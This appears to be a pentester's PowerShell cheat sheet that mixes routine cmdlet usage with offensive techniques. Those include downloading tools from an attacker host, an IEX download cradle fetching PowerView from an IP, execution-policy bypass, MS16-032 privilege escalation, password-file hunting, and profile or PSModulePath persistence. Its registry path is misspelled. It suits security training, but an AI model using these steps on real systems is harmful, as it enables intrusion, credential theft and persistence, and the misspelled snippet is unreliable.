Pow­er­shell Cmdlets con­sist out of Verb-Method.

To search for a method, type

Get-Command New-U*

To see all attrib­ut­es for a Cmdlet, type

Get-LocalUser | Get-Member

To see spe­cif­ic or non-default attrib­ut­es, type

Get-LocalUser | Select-Object -Property Name,PasswordRequired

• Use Get-Help $cmdlet to get the man page about it.
• Add ‑WhatIf to any com­mand to see what it would do.
• To see all attrib­ut­es, pipe a com­mand through format-list * 
  • ps | format-list *
  • dir | fl *
• The ForE­ach Com­man­dLet % is very useful: 
  • ps | % { Write-Host “PID = ” $_.ID }
• The Where CommandLet ?: 
  • get-ser­vice | ? { $_.status ‑eq “run­ning” }
• Direc­to­ry listing: 
  • get-childitem ‑recurse $dir
  • ls ‑r $dir
• Select only some columns: 
  • ps | select id
• Find a file on the filesys­tem with a substring: 
  • ls ‑r $dir ass­word | % { echo $_.fullname }
  • ls ‑r $dir ass­word 2>$null | % { echo $_.fullname } // ignores stan­dard errors
• Show all envi­ron­ment variables: 
  • ls vari­able:
  • echo $var­name
• Grep through files: 
  • select-string ‑path C:\Users\*.* ‑pat­tern ass­word 2>$null
• Ping sweep:
  • 1..225 | % { echo “10.10.10.$_”; ping ‑n 1 ‑w 100 10.10.10.$_ | select-string ttl }
• Pag­i­na­tion:
  • ls ‑r | Out-Host ‑pag­ing
• Out­put is too large? 
  • (...) | Out-File -FilePath C:\Temp\a.txt

Examples

Directories and files

Get all files in the cur­rent directory.

Get-ChildItem

Get all files in the cur­rent direc­to­ry and below.

Get-ChildItem -Recurse

Get all files in the cur­rent direc­to­ry and below and also hid­den and sys­tem files.

Get-ChildItem -Recurse -System -Hidden

Search for files with a name:

Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Filter "flag.txt"
Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode | Where-Object -Property Name -like *abc*

Select only the File­name and Mode column.

Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode

Fil­ter only for files which con­tains abc:

Select-String -Path "C:\path\to\directory*" -Pattern "abs" -Recurse

Search for inter­est­ing suffixes:

Get-ChildItem -Path C:\Users\nadine\ -Include .txt,.pdf,.xls,.xlsx,.doc,.docx -File -Recurse -ErrorAction SilentlyContinue

Sort alpha­bet­i­cal­ly

Get-ChildItem -Recurse -ErrorAction SilentlyContinue -System -Hidden | Select-Object Name, Mode | Where-Object -Property Name -like *abc* | Sort-Object

Count how many files are found

(...).count

Network requests

Per­form a get request:

Invoke-WebRequest $url

Down­load files

iwr -uri http://$attacker/winPEASx64.exe -Outfile winPEAS.exe

Privilege escalation

Run a com­mend as oth­er user:

runas /user:albert cmd

Various

Encode a file to base64

[Convert]::ToBase64String([IO.File]::ReadAllBytes('Desktop\b64.txt'))

Get the Pow­er­Shell history

Get-History

Get the path where the his­to­ry file is stored (usu­al­ly in the APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt direc­to­ry of the user)

(Get-PSReadlineOption).HistorySavePath

Command manipulation / filtering

Get only lines from the out­put which have abc:

Your-Command | Where-Object { $_ -match 'abc' }

Get only lines from the out­put which does not have abc:

Your-Command | Where-Object { $_ -notmatch 'abc' }

Execute

From a file:

powershell -exec bypass
Import-Module .\file.ps1

(After this, call the func­tion to exe­cute it.)

Direct­ly:

powershell -exec bypass -File file.ps1

Oth­er method

powershell -exec bypass -command - < c:\mypath\myscript.ps1

Oth­er method

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy ByPass -command "& { . C:\Users\kostas\Desktop\39719.ps1; Invoke-MS16-032 }"

In meter­preter

meterpreter > execute -f "powershell -command \" get-netfirewallrule -all \"" -i

Changing the ExecutionPolicy

The exe­cu­tion pol­i­cy can be set sys­tem-wide or for the cur­rent user. List­ing the pol­i­cy state:

Get-ExecutionPolicy -Scope CurrentUser

Set­ting to unrestricted:

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Enumeration

Show users

Get-LocalUser

Show net­work addressess

Get-NetIPAddress

Show process­es

Get-Process

Show infor­ma­tion about a (exe­cute­able?) file

Get-ItemProperty -Path "C:\..\miiserver.exe" | Format-list -Property * -Force

Find only files

Get-ChildItem -Recurse -File

Registry access

The reg­istry can be used as dri­ve and inter­act with.

PS> cd HKLM:
PS> Get-ChildItem

Loading PS scripts into the memory

With this method, no file has to down­loaded on the system.

1. Pro­vide the Pow­er­Shell script via a HTTP server.
2. In Pow­er­Shell, down­load and import it

   PS> IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.119.158:8081/PowerView.ps1')

3. The mod­ule can now be used.

Obfuscate

Use Chimera

On Linux

Use https://github.com/PowerShell/PowerShell/releases/ and install it some­where. Now, use the pwsh command.

Exploiting PowerShell

If some­thing was typed in, Win­dows tries the fol­low­ings things in order. Try to rede­fine some­thing high up in the hier­achy so that oth­er tasks/systems/admins which are using these things, per­form also oth­er actions.

1. Doskey alias
2. Alias
3. Func­tion
4. Cmdlet
5. Exe­cutable

To gain infor­ma­tion from exist­ing scripts on the sys­tem, look into the fol­low­ing paths.

• C:\scripts
• $HOME\Documents\WindowsPowerShell
• $PSHOME
• C:\Windows\System32\WindowsPowerShell\...\

The fol­low­ing PS files are auto­mat­i­cal­ly exe­cut­ed when a user starts PS. Check if these files exists or if you can cre­ate one at one location.

• $HOME\Documents\WindowsPowerShell\Profile.ps1
• $HOME\Documents\Profile.ps1
• $PSHOME\Microsoft.PowerShell_profile.ps1
• $PSHOME\Profile.ps1

To archieve per­sis­tence you can add a path your con­trol to the $PSMod­ulePath envi­ron­ment vari­able. This could also be a share on which you have access. The fol­low­ing is tak­en from SEC660 2.2.

$origpaths = (Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\SessionManager\Environmet" -Name PSModulePath).PSModulePath
$newPath = $origpaths + ";C:\Users\...\OneDrive\PowerShell\"
Set-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environmet" -Name PSModulePath -Value $newPath